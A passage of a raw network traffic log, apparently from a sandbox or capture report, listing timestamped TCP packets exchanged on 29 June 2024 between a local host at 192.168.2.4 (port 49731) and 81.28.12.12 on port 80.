Jun 29, 2024 08:04:58.757033110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.757052898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.757070065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.758836985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.758852005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.758866072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.758889914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.758924007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.761645079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.761693954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.761718035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.761733055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.761755943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.761775970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.762099028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.762111902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.762141943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.762151957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.762156963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.762186050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.762197018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.762222052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.764317036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.764332056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.764347076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.764364004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.764375925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.764394045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.765512943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.765563965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.765598059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.765619993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.765640020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.765659094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.767165899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.767213106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.767232895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.767257929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.767271042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.767282009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.767294884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.767307997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.768923044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.768946886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.768961906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.768969059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.768984079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.769006968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.770556927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.770601988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.770612955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.770653963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.770661116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.770673990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.770704031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.770733118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.772473097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.772517920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.772557020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.772572041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.772595882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.772610903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.776820898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.776870012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.776875973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.776891947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.776913881 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.776936054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.776967049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.776981115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.776995897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.777014017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.777048111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.777560949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.777575016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:58.777616024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:58.777646065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.032108068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.032125950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.032140017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.032170057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.032195091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.032919884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.032944918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.032958984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.032970905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.032994032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.033004999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.034394979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.034446955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.034497976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.034511089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.034524918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.034542084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.034555912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.034570932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.036236048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.036251068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.036266088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.036288977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.036323071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.037892103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.037908077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.037921906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.037945032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.037978888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.039551020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.039563894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.039609909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.039632082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.039644957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.039681911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.041162014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.041176081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.041217089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.041220903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.041260004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.041266918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.041297913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.042924881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.042941093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.042956114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.042985916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.044593096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.044617891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.044622898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.044631958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.044641972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.044663906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.044676065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.046260118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.046272993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.046312094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.046330929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.046350956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.046372890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.046413898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.048001051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.048057079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.048059940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.048073053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.048099995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.048122883 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.049689054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.049701929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.049740076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.049762964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.049776077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.049808979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.051546097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.051561117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.051574945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.051613092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.051637888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.053400993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.053461075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.053478003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.053493023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.053524971 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.053535938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.054824114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.054874897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.054910898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.054924011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.054938078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.054953098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.054965019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.054977894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.056613922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.056665897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.056684971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.056699991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.056720018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.056731939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.058211088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.058262110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.058279037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.058294058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.058317900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.058353901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.059958935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.060004950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.060009003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.060019970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.060051918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.060065985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.061584949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.061599970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.061614037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.061634064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.061647892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.061656952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.063328028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.063340902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.063388109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.063462973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.063484907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.063510895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.063534975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.064951897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.064975023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.064987898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.065007925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.065032959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.065032959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.066713095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.066729069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.066742897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.066776991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.066776991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.068486929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.068510056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.068538904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.068568945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.327159882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.327212095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.327234030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.327292919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.327334881 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.327723026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.327749014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.327764034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.327811956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.327841043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.329391003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.329438925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.329456091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.329478979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.329499006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.329530001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.329550028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.331110001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.331124067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.331173897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.331175089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.331187963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.331223965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.331254959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.332858086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.332900047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.332912922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.332954884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.333003044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.334600925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.334615946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.334630013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.334673882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.334707022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.336225986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.336242914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.336257935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.336302996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.336332083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.337994099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.338020086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.338032961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.338076115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.338104963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.339576006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.339618921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.339632988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.339678049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.341319084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.341344118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.341357946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.341376066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.341406107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.342986107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.343019962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.343034029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.343043089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.343080997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.343080997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.344754934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.344779968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.344794035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.344832897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.344872952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.346856117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.346872091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.346887112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.346926928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.346955061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.348241091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.348256111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.348269939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.348309994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.348340988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.349836111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.349849939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.349864960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.349924088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.349924088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.351490021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.351515055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.351528883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.351567984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.351598024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.353296041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.353321075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.353334904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.353374004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.353404999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.354876995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.354931116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.354938984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.354971886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.354975939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.355015993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.355038881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.355082035 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.356518030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.356530905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.356585979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.356597900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.356611967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.356652021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.358289003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.358314991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.358329058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.358357906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.358393908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.359966040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.359992027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.360006094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.360019922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.360055923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.360055923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.361742973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.361767054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.361780882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:04:59.361819029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:04:59.361846924 CEST	49731	80	192.168.2.4	81.28.12.12
